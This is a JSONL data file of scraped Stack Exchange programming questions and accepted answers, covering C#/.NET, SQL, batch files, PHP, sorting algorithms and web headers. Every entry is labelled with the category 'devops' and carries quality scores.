{"id": "hf_195694ba7588", "question": "<p>I'm wondering what the best way is to have a \"if all else fails catch it\".</p>\n\n<p>I mean, you're handling as much exceptions as possible in your application,\nbut still there are bound to be bugs, so I need to have something that\ncatches all unhandled exceptions so I can collect information and store\nthem in a database or submit them to a web service.</p>\n\n<p>Does the AppDomain.CurrentDomain.UnhandledException event capture everything?\nEven if the application is multithreaded?</p>\n\n<p>Side note: Windows Vista exposes native API functions that allow any application\nto recover itself after a crash... can't think of the name now... but I'd rather not\nuse it, as many of our users are still using Windows XP.</p>\n", "question_body": "", "answer": "In ASP.NET, you use the\n```\nApplication_Error\n```\nfunction in the\n```\nGlobal.asax\n```\nfile.\nIn WinForms, you use the\n```\nMyApplication_UnhandledException\n```\nin the\n```\nApplicationEvents\n```\nfile\nBoth of these functions are called if an unhandled exception occurs in your code. You can log the exception and present a nice message to the user from these functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.018125"}
{"id": "hf_e39dcb539be7", "question": "<p>How would you convert a parapraph to hex notation, and then back again into its original string form?</p>\n\n<p>(C#)</p>\n\n<p>A side note:  would putting the string into hex format shrink it the most w/o getting into hardcore shrinking algo's?</p>\n", "question_body": "", "answer": "```\n```\npublic string ConvertToHex(string asciiString)\n{\n    string hex = \"\";\n    foreach (char c in asciiString)\n    {\n        int tmp = c;\n        hex += String.Format(\"{0:x2}\", (uint)System.Convert.ToUInt32(tmp.ToString()));\n    }\n    return hex;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.053458"}
{"id": "hf_83439206c2e7", "question": "<p>My application uses an event tap to capture keyboard events, and I'd like to know which device (i.e. which keyboard) each event comes from. Is there an sort of device-identifying information along with the CGEvent that a tap gets? I've looked at NSEvent's methods, and the various CGEventField keys, but none of them seem to be device-unique. Any help?</p>\n", "question_body": "", "answer": "You might want to take a look at DDHidLib, Dave Dribin's excellent framework to work with USB HID devices independently.\nhttp://www.dribin.org/dave/blog/archives/2007/03/19/ddhidlib_10\n(not just about joysticks, so read more than the first paragraph of that blog post)\nSome of the functionality of DDHidLib no longer works under Leopard, due to some security concerns at Apple regarding capturing an HID device, but if you're lucky it might provide you with what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.087638"}
{"id": "hf_147b34b6fb27", "question": "<p>The code is,</p>\n\n<pre><code>set VAR=before\n\nif \"%VAR%\" == \"before\" (\n\n  set VAR=after;\n\n  echo %VAR%\n\n)\n</code></pre>\n\n<p>What will the preceding Windows .bat file code segment display?  Why? (i.e. why doesn't it behave as you might first think)?</p>\n", "question_body": "", "answer": "Obviously, you'd think the output would be \"after\", given that we reset the env variable inside the loop.\nBut the output will actually be \"before\".  The reason is that variable substitution is done in .bat files by the interpreter when a command is read, rather than when it's executed.  So, for the compound statement, the variables in the body are evaluated when the if statement is first encountered.\nYou can make this work by using delayed environment variable expansion (need to enable it).  If it's enabled, you can then do:\n```\n```\nset VAR=before\n\nif \"%VAR%\" == \"before\" (\n\n  set VAR=after;\n\n  echo !VAR!\n\n)\n```\n```\nYou can enable delayed environment variable expansion using the /v option when starting cmd.exe.\n[Backstory--many of us still use legacy .bat files to drive things like make procedures, etc.  Obviously there are better scripting tools, but not always an option to use them.  I ran into this issue a while back and recently found two other people who had pulled their hair out over the same thing.  So it's useful to understand how the interpreter does variable substitution].", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.122099"}
{"id": "hf_2b6039aa1296", "question": "<p>Could someone please explain the best way to connect to an Interbase 7.1 database using .NET/C#?</p>\n\n<p>The application will be installed on many end user computers so the less \"add-ons\" that I will have to package with my application the better.</p>\n", "question_body": "", "answer": "Check this providers:\nInterbase and Firebird Developer's for Visual Studio .Net\nFirebird .NET Data Provider\nFireBird - InterBase .NET (Mono) Providers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.171469"}
{"id": "hf_2249816689e2", "question": "<p>A cross join performs a cartesian product on the tuples of the two sets.</p>\n\n<pre><code>SELECT *\nFROM Table1\nCROSS JOIN Table2\n</code></pre>\n\n<p>Which circumstances render such an SQL operation particularly useful?</p>\n", "question_body": "", "answer": "You're typically not going to want a full Cartesian product for most database queries.  The whole power of relational databases is that you can apply whatever restrictions you might be interested in to allow you to avoid pulling unnecessary rows from the db.\nI suppose one contrived example where you might want that is if you have a table of employees and a table of jobs that need doing and want to see all possible assignments of one employee to one job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.194387"}
{"id": "hf_c3c8bdf1447b", "question": "<p>I am completely new to LINQ in C#/.NET.  I understand that I could use it to convert a DataSet into an Array/List, am I able to go in the opposite direction?</p>\n\n<p>I'm using NPlot to generate a graph of captured prices, which are stored in a List, where PriceInformation is a class containing two public doubles and a DateTime.  </p>\n\n<p>Any suggestions very welcome.</p>\n", "question_body": "", "answer": "There's a method called\nCopyToDataTable\n.  That method will only help if you already have a IEnumerable(DataRow)\nHere's how I'd do this:\n```\n```\n//extension method to convert my type to an object array.\npublic static object[] ToObjectArray(this MyClass theSource)\n{\n  object[] result = new object[3];\n  result[0] = theSource.FirstDouble;\n  result[1] = theSource.SecondDouble;\n  result[2] = theSource.TheDateTime;\n\n  return result;\n}\n\n//some time later, new up a dataTable, set it's columns, and then...\n\nDataTable myTable = new DataTable()\n\nDataColumn column1 = new DataColumn();\ncolumn1.DataType = GetType(\"System.Double\");\ncolumn1.ColumnName = \"FirstDouble\";\nmyTable.Add(column1);\n\nDataColumn column2 = new DataColumn();\ncolumn2.DataType = GetType(\"System.Double\");\ncolumn2.ColumnName = \"SecondDouble\";\nmyTable.Add(column2);\n\nDataColumn column3 = new DataColumn();\ncolumn3.DataType = GetType(\"System.DateTime\");\ncolumn3.ColumnName = \"TheDateTime\";\nmyTable.Add(column3);\n\n// ... Each Element becomes an array, and then a row\nMyClassList.ForEach(x => myTable.Rows.Add(x.ToObjectArray());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.336145"}
{"id": "hf_717abdf65dea", "question": "<p>I am trying to fill a form in a php application from a C# client (Outlook addin). I used Fiddler to see the original request from within the php application and the form is transmitted as a multipart/form. Unfortunately .Net does not come with native support for this type of forms (WebClient has only a method for uploading a file).\nDoes anybody know a library or has some code to achieve this? I want to post different values and additionally (but only sometimes) a file.</p>\n\n<p>Thanks for your help,\nSebastian</p>\n", "question_body": "", "answer": "This is cut and pasted from some sample code I wrote, hopefully it should give the basics. It only supports File data and form-data at the moment.\n```\n```\npublic class PostData\n{\n\n    private List<PostDataParam> m_Params;\n\n    public List<PostDataParam> Params\n    {\n        get { return m_Params; }\n        set { m_Params = value; }\n    }\n\n    public PostData()\n    {\n        m_Params = new List<PostDataParam>();\n\n        // Add sample param\n        m_Params.Add(new PostDataParam(\"email\", \"MyEmail\", PostDataParamType.Field));\n    }\n\n    /// <summary>\n    /// Returns the parameters array formatted for multi-part/form data\n    /// </summary>\n    /// <returns></returns>\n    public string GetPostData()\n    {\n        // Get boundary, default is --AaB03x\n        string boundary = ConfigurationManager.AppSettings[\"ContentBoundary\"].ToString();\n\n        StringBuilder sb = new StringBuilder();\n        foreach (PostDataParam p in m_Params)\n        {\n            sb.AppendLine(boundary);\n\n            if (p.Type == PostDataParamType.File)\n            {\n                sb.AppendLine(string.Format(\"Content-Disposition: file; name=\\\"{0}\\\"; filename=\\\"{1}\\\"\", p.Name, p.FileName));\n                sb.AppendLine(\"Content-Type: text/plain\");\n                sb.AppendLine();\n                sb.AppendLine(p.Value);                 \n            }\n            else\n            {\n                sb.AppendLine(string.Format(\"Content-Disposition: form-data; name=\\\"{0}\\\"\", p.Name));\n                sb.AppendLine();\n                sb.AppendLine(p.Value);\n            }\n        }\n\n        sb.AppendLine(boundary);\n\n        return sb.ToString();           \n    }\n}\n\npublic enum PostDataParamType\n{\n    Field,\n    File\n}\n\npublic class PostDataParam\n{\n\n    public PostDataParam(string name, string value, PostDataParamType type)\n    {\n        Name = name;\n        Value = value;\n        Type = type;\n    }\n\n    public string Name;\n    public string FileName;\n    public string Value;\n    public PostDataParamType Type;\n}\n```\n```\nTo send the data you then need to:\n```\n```\nHttpWebRequest oRequest = null;\noRequest = (HttpWebRequest)HttpWebRequest.Create(oURL.URL);\noRequest.ContentType = \"multipart/form-data\";                       \noRequest.Method = \"POST\";\nPostData pData = new PostData();\n\nbyte[] buffer = encoding.GetBytes(pData.GetPostData());\n\n// Set content length of our data\noRequest.ContentLength = buffer.Length;\n\n// Dump our buffered postdata to the stream, booyah\noStream = oRequest.GetRequestStream();\noStream.Write(buffer, 0, buffer.Length);\noStream.Close();\n\n// get the response\noResponse = (HttpWebResponse)oRequest.GetResponse();\n```\n```\nHope thats clear, i've cut and pasted from a few sources to get that tidier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.396662"}
{"id": "hf_2eabcb62dad2", "question": "<p>I'm collecting metadata using the sys.* views, and according to the documentation, the sys.identity_columns view will return the seed and increment values like so.</p>\n\n<pre><code>CREATE TABLE ident_test (\n  test_id int IDENTITY(1000,10),\n  other int\n)\n\nSELECT name, seed_value, increment_value\n  FROM sys.identity_columns\n WHERE object_id = OBJECT_ID( 'ident_test' )\n</code></pre>\n\n<p>However, the above query just returns one column.  Is it just me?</p>\n\n<p>(Note: I've had to change this question somewhat from its earlier version.)</p>\n", "question_body": "", "answer": "Are you sure you are running this in a database with tables with\n```\nIDENTITY\n```\ncolumns?\n```\n```\nSELECT c.name, i.seed_value, i.increment_value\nFROM sys.columns c\nINNER JOIN sys.identity_columns i\n    ON i.object_id = c.object_id\n    AND i.column_id = c.column_id\n```\n```\nReturns rows for me in a regular production database with a few identities.\nUsing a\n```\nLEFT JOIN\n```\nreturns these rows as well as many which are not\n```\nIDENTITY\n```\nI ran this on another database, and I noticed some\n```\nNULL\n```\ns are returned (even in the\n```\nINNER JOIN\n```\ncase).  This is because some of the columns are in\n```\nVIEW\n```\ns.\nTry adding:\n```\n```\nINNER JOIN sys.tables t\nON t.object_id = c.object_id\n```\n```\nTo filter only to actual\n```\nIDENTITY\n```\ncolumns in tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.420446"}
{"id": "hf_207178e2a398", "question": "<p>If I have a property that I want to let inheritors write to, but keep readonly externally, what is the preferred way to implement this? I usually go with something like this:</p>\n\n<pre><code>private object m_myProp;\npublic object MyProp\n{\n    get { return m_myProp; }\n}\nprotected void SetMyProp(object value)\n{\n    m_myProp = value;\n}\n</code></pre>\n\n<p>Is there a better way?</p>\n", "question_body": "", "answer": "```\n```\nprivate object m_myProp;\npublic object MyProp\n{\n    get { return m_myProp; }\n    protected set { m_myProp = value; }\n}\n```\n```\nOr in C# 3.0\n```\n```\npublic object MyProp {get; protected set;}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.536933"}
{"id": "hf_70c7955b85af", "question": "<p>I have a <code>POCO</code> object that goes 4 levels deep contained objects (like <code>Invoice</code> has line items that have taxes that have gl entries), and I want to turn the entire thing into a <code>DataSet</code>. So there would be 4 tables, each with constraints being applied to the parent table.</p>\n\n<p>Does anyone know of something that would automated this?</p>\n", "question_body": "", "answer": "How do you populate this object? If it's from the database, there are two methods to structure your query such that the dataset is populated with separate, automatically related DataTable-s. Old and probably not supported anymore is the\nSHAPE command\n.\nA better and more recent approach is to use\nFOR XML\n.\nThe later approach will also allow you to load a dataset from XML-serialized representation of your `POCO' (not FOR XML, but loading XML into DataSet)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.560643"}
{"id": "hf_a80fa62ad197", "question": "<p>I've often used pointers to const objects, like so...</p>\n\n<pre><code>const int *p;\n</code></pre>\n\n<p>That simply means that you can't change the integer that <code>p</code> is pointing at through <code>p</code>. But I've also seen reference to const pointers, declared like this...</p>\n\n<pre><code>int* const p;\n</code></pre>\n\n<p>As I understand it, that means that the pointer variable <em>itself</em> is constant -- you can change the integer it points at all day long, but you can't make it point at something else.</p>\n\n<p>What possible use would that have?</p>\n", "question_body": "", "answer": "Same as a \"const int\" ... if the compiler knows it's not going to change, it can be optimization assumptions based on that.\n```\n```\nstruct MyClass\n{\n    char* const ptr;\n    MyClass(char* str) :ptr(str) {}\n\n    void SomeFunc(MyOtherClass moc)\n    {\n         for(int i=0; i < 100; ++i)\n         { \n                 printf(\"%c\", ptr[i]);\n                 moc.SomeOtherFunc(this);\n         }\n    }\n}\n```\n```\nNow, the compiler could do quite a bit to optimize that loop --- provided it knows that SomeOtherFunc() does not change the value of ptr.  With the const, the compiler knows that, and can make the assumptions.  Without it, the compiler has to assume that SomeOtherFunc will change ptr.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.584442"}
{"id": "hf_044859278b5d", "question": "<p>How secure are php Sessions?  I am planning to use the native PHP sessions to authenticate users.  Can users modify session data like they can $_POST and $_GET data?</p>\n", "question_body": "", "answer": "PHP sessions are as secure as the session cookie given to the user.  All the data in the session is stored server-side, so users can't arbitrarily modify them except through whatever functionality your site provides.  However, PHP session cookies are a common target for cross-site scripting (XSS) and cross-site request forgery (CSRF) attacks.  Just the same, sessions are a good way to do user authentication as long as you're aware of the potential risks.\nSome Wikipedia links:\nCSRF\nXSS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.631943"}
{"id": "hf_03861f226aec", "question": "<p>e.g,</p>\n\n<pre><code>foo1\nfoo2\nfoo10\nfoo100\n</code></pre>\n\n<p>rather than</p>\n\n<pre><code>foo1\nfoo10\nfoo100\nfoo2\n</code></pre>\n\n<p>Update: not interested in coding the sort myself (although that's interesting in its own right), but having the database to do the sort for me.</p>\n", "question_body": "", "answer": "You can use functions in your order-by clause.  In this case,\nyou can split the non-numeric and numeric portions of the\nfield and use them as two of the ordering criteria.\n```\n```\nselect * from t\n order by to_number(regexp_substr(a,'^[0-9]+')),\n          to_number(regexp_substr(a,'[0-9]+$')),\n          a;\n```\n```\nYou can also create a function-based index to support this:\n```\n```\ncreate index t_ix1\n    on t (to_number(regexp_substr(a, '^[0-9]+')),\n          to_number(regexp_substr(a, '[0-9]+$')), \n          a);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.654565"}
{"id": "hf_e891a0ed432e", "question": "<p>Came across this:</p>\n\n<p><a href=\"http://www.eggheadcafe.com/articles/adonet_source_code_generator.asp\" rel=\"nofollow noreferrer\">http://www.eggheadcafe.com/articles/adonet_source_code_generator.asp</a></p>\n\n<p>And wondering if this is the right solution as I am not that big of a fan of creating a class for every stored procedure or do I use Enterprise Library for ASP.net 2.0 project.</p>\n", "question_body": "", "answer": "Is there any possibility of upgrading to framework 3.5? if so take a look at LINQ to SQL and Entity Framework as this will accomplish alot of this for you.\nIf not then as long as it generates standard code that doesnt tie you into 3rd party libraries then you could certainly use it. At my workplace we have our own generator similar to this and it works well although we will shortly be moving to LINQ to SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.677256"}
{"id": "hf_4574f64a1931", "question": "<p>We have a dedicated godaddy server and it seemed to grind to a halt when we had users downloading only 3MB every 2 seconds (this was over about 20 http requests).</p>\n\n<p>I want to look into database locking etc. to see if that is a problem - but first I'm curious as to what a dedicated server ought to be able to serve.</p>\n", "question_body": "", "answer": "A lot depends on what the 3MB is.  Serving up 1.5MBps of static data is way, way, way, within the bounds of even the weakest server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.706151"}
{"id": "hf_dc8071195bdb", "question": "<p>I do TDD on a daily basis for my C++ development on Solaris10. It has greatly reduced the time I have to spend using my debugger but sometime this is the only option.</p>\n\n<p>DBX is pretty powerful but not that user friendly. Note that I'm talking about console DBX not the SunStudio GUI for DBX).</p>\n\n<p>What are the best productivity tips you can give for dbx C++ debugging?</p>\n\n<p>PS. Changing debugger is not an option.</p>\n", "question_body": "", "answer": "I have bookmarked a few sites related to dbx. Here they are, in no particular order in case they might be useful to you:\nWhy Can't dbx Find My Function?\nOnline Help for the Dbx Debugger\nSun Studio: debugging a multi-threaded application w/ dbx\ngdb vs. dbx: commands mapping and feature comparison\nImporting debug information into dbx\ncommand line dbx : See more source\nSun Studio C++ - Your .dbxrc\n(NB: adapt the integer type used to cast pointers according to your pointer size)\nSun Studio: Investigating memory leaks with dbx\nSun Studio: Gathering memory allocations/leaks data, from a running process\nEDIT on 2012 july 19th: I've tried to fix several link since Chris Quenelle's blog has moved. Some articles can still be accessed thanks to the wayback machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.799429"}
{"id": "hf_e49fa440472d", "question": "<p>Which sorting algorithm works best on mostly sorted data?</p>\n", "question_body": "", "answer": "Based on the highly scientific method of watching\nanimated gifs\nI would say Insertion and Bubble sorts are good candidates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.824421"}
{"id": "hf_b22925cc9337", "question": "<p>I'm not the best at PHP and would be extremely grateful if somebody could help. Basically I need to parse each line of a datafeed and just get each bit of information between each \"|\" - then I can add it to a database. I think I can handle getting the information from between the \"|\"'s by using explode but I need a bit of help with parsing each line from a text file as a singular. Infact to make it even more simple, I just need it to use each line of a variable, I will submit content to the variable using a textarea and a form. Any help would be greatly appreciated!</p>\n", "question_body": "", "answer": "You can read a file into an array of lines and do all the splitting with:\n```\n```\n$lines = file(\"filename\");\nforeach($lines as $line) {\n    $parts = explode(\"|\", $line);\n    // do the database inserts here\n}\n```\n```\nIf you already have all the text in a variable as you said (e.g., with something like file_get_contents() ), you can explode on \\n first and then do the same foreach statement as above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.848789"}
{"id": "hf_9199051a0ec3", "question": "<p>Has anyone got much experience deploying applications to Amazons EC2? I am considering doing this in future and wonder about peoples experiences compared to shared hosting and dedicated server hosting are.</p>\n", "question_body": "", "answer": "So far, so good. Being able to turn on 5/10/50/100+ machines at a time is awesome. It's even better being able to turn them off and forget about them. You need to change your mindset about how you store your persistent data, but once you have the sky is the limit.\nPerformance wise, small instances are slow. They're fine for load balancers and serving static content, etc, but if you are doing anything processor intensive, you need at least a m1.medium instance.\nIt's all pretty new, so there aren't many tools to help out yet. I'm using\nPuppet\nto configure my hosts and I have a set of PHP scripts for starting up clusters. I use LDAP as a host inventory database.\nIf you don't have the need/urge to build your own, see\nRightscale\nfor some really awesome tools for deploying/growing apps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.876083"}
{"id": "hf_f24e67ec5317", "question": "<p>Inspired by <a href=\"https://stackoverflow.com/questions/220044/which-sort-algorithm-works-best-on-mostly-sorted-data\">this question</a></p>\n\n<p>The choice of which algorithm to use to sort a collection can be made better if we know ahead of time how well sorted a collection is. Is there a way we can measure (or maintain a measurement) of how well sorted the collection is? Can we do this in such a way that the cost of maintaining or measuring how well sorted something doesn't outweigh the benefit of choosing the best sort algorithm?</p>\n", "question_body": "", "answer": "You could use sampling: Check N elements spaced evenly in the list and see how many are in order.  (Of course that only works in a random-access list, but usually that's the type you sort.)\nAlso have a threshold for small N.  If N is small (e.g.\n```\n10\n```\n) insertion sort is good even if the list isn't sorted.  Java makes this optimization for small N in what is otherwise a merge-sort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.928256"}
{"id": "hf_3c44216b7b18", "question": "<p>I'm trying to find out how to read/write to the extended file properties in C#\ne.g. Comment, Bit Rate, Date Accessed, Category etc that you can see in Windows explorer. \nAny ideas how to do this?\nEDIT: I'll mainly be reading/writing to video files (AVI/DIVX/...)</p>\n", "question_body": "", "answer": "There's\na CodeProject article\nfor an ID3 reader.  And a\nthread at kixtart.org\nthat has more information for other properties. Basically, you need to call the\n```\nGetDetailsOf()\n```\nmethod\non the\nfolder\nshell object for\n```\nshell32.dll\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.952748"}
{"id": "hf_fd3f4e4f4a38", "question": "<p>I'm looking for a Java library that is geared towards network math and already tested.  Nothing particularly fancy, just something to hold ips and subnets, and do things like print a subnet mask or calculate whether an IP is within a given subnet.  </p>\n\n<p>Should I roll my own, or is there already a robust library for this?</p>\n", "question_body": "", "answer": "org.apache.lenya.ac.IPRange\nappears to have these features.\nThe Apache Lenya project is an open-source content management system.  It uses the Apache License, so you may be able to reuse just the code you need. (But as always, read the\nlicense\nyourself; don't trust legal advice from some guy on the internet! :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:31.988195"}
{"id": "hf_4666276ee50a", "question": "<p>I am trying to write a little backup program for friends and family and want it to be as simple to use a possible. I don't want to have to ask the user where to backup their data to, I just want to search for and use the first USB hard drive connected to the computer. Obtaining the unique ID of the hard drive would probably be a good idea too, just as a double check for next time the backup runs.</p>\n", "question_body": "", "answer": "A few pieces of information can be gathered without too much trouble:\nUse GetDriveType to find the first removeable drive, test if writeable media exists (which will largely rule out CD drives).  May also want to look at further strings that are available when you query the drive information via win32.\nUse libusb to see where the first storage class USB device is (will likely be a flash or hard drive)\nThis\nC# article\npoints towards win32 disk drive classes you might be able to tap into.\nPost your answer here when you find it!\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.037127"}
{"id": "hf_2451ba83a43d", "question": "<p>Let's say I have the following code:</p>\n\n<pre><code>@sites = Site.find(session[:sites]) # will be an array of Site ids\n@languages = Language.for_sites(@sites)\n</code></pre>\n\n<p>for_sites is a named_scope in the Language model that returns the languages associated with those sites, and languages are associated with sites using has_many through. The goal is for @languages to have a distinct array of the languages associated with the sites.</p>\n\n<p>Instead of calling the Language object on the second line, I'd ideally like to say </p>\n\n<pre><code>@sites.languages\n</code></pre>\n\n<p>and have the same list returned to me. Is there any way to do that cleanly in Rails 2.1 (or edge)? I know associations and named scopes can extend the array object to have attributes, but unless I'm missing something that doesn't apply here. Any plugins that do this would be welcome, it doesn't have to be in core.</p>\n", "question_body": "", "answer": "Your instance variable @sites is an Array object and not Site so I don't think named_scope can be used. You can open up Array class to achieve this effect though (yikes)\n```\n```\nclass Array\n\n  def languages\n    ...\n  end\n\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.061027"}
{"id": "hf_8a1baf8a7982", "question": "<p>I need to output the contents of a text field using MS Query Analyzer. I have tried this:</p>\n\n<pre><code>select top 1 text from myTable\n</code></pre>\n\n<p>(where text is a <code>text</code> field)</p>\n\n<p>and</p>\n\n<pre><code>DECLARE @data VarChar(8000) \nselect top 1 @data = text from myTable\nPRINT @data\n</code></pre>\n\n<p>The first one prints only the first 2000 or so characters and the second only prints the first 8000 characters. Is there any way to get all of the text?</p>\n\n<p>Notes:</p>\n\n<ul>\n<li>must work with SQL Server 7</li>\n</ul>\n", "question_body": "", "answer": "I don't think you can use varchar(MAX) in MSSQL7, so here's something that will give you all the data (note, what I'm understanding is you just want to visually see the data, and you aren't going put it in a variable or return it).\nSo, this will print off the entire string so you can visually see what's in the field:\n```\n```\nDECLARE @limit as int,\n        @charLen as int,\n        @current as int,\n        @chars as varchar(8000)\n\nSET @limit = 8000\n\nSELECT  TOP 1 @charLen = LEN(text)\nFROM    myTable\n\nSET @current = 1\n\nWHILE @current < @charLen\nBEGIN\n    SELECT  TOP 1 @chars = SUBSTRING(text,@current,@limit)\n    FROM    myTable\n    PRINT @chars\n\n    SET @current = @current + @limit\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.108874"}
{"id": "hf_dc67e74c5d34", "question": "<p>I want to capture the HTTP request header fields, primarily the Referer and User-Agent, within my client-side JavaScript.  How may I access them?</p>\n\n<hr>\n\n<p>Google Analytics manages to get the data via JavaScript that they have you embed in you pages, so it is definitely possible.</p>\n\n<blockquote>\n  <p><strong>Related:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/220231/accessing-http-headers-in-javascript\">Accessing the web page&#39;s HTTP Headers in JavaScript</a></p>\n</blockquote>\n", "question_body": "", "answer": "If you want to access referrer and user-agent, those are available to client-side Javascript, but not by accessing the headers directly.\nTo retrieve the referrer, use\n```\ndocument.referrer\n```\n.\nTo access the user-agent, use\n```\nnavigator.userAgent\n```\n.\nAs others have indicated, the HTTP headers are not available, but you specifically asked about the referer and user-agent, which are available via Javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:32.157037"}
